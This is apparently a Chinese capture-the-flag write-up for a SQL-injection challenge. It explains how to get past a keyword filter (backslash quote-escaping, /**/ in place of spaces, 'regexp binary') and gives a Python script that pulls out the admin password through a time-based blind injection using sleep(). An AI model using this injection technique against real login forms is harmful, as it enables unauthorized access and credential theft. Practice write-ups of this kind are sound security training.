36D杯的其他部分题目:戳我
Q:为啥这题没和它们放一起?A:后做的,我懒,而且忘记了。
源代码有以下两行注释:
<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->
用户名必须包含admin,其后如果输入'、substr、ascii、mid、||、空格、-、等号,>,<均会触发WAF。

使用\注释掉'$uname'尾部的单引号,后面跟上or+注入语句。使用regexp进行时间盲注(为真页面无变化),空格用/**/代替,还需要注意mysql的正则不区分大小写,如果要区分的话,要在regexp后加 binary关键字。
import requests
import string
import time
url = r"http://ed977ea3-7f14-4a79-b591-1e42372a53cd.chall.ctf.show/"
dic = string.ascii_letters+string.digits
data = {
'username':'admin\\',
'password':''
}
flag = ""
for i in range(30):
for j in dic:
password = 'or/**/if((password/**/regexp/**/binary/**/"^'+flag+j+'"),sleep(4),1)#'
# print(password)
data['password']=password
startTime=time.time()
r = requests.post(url,data=data)
if(time.time()-startTime) >= 3:
flag += j
print(flag)
break
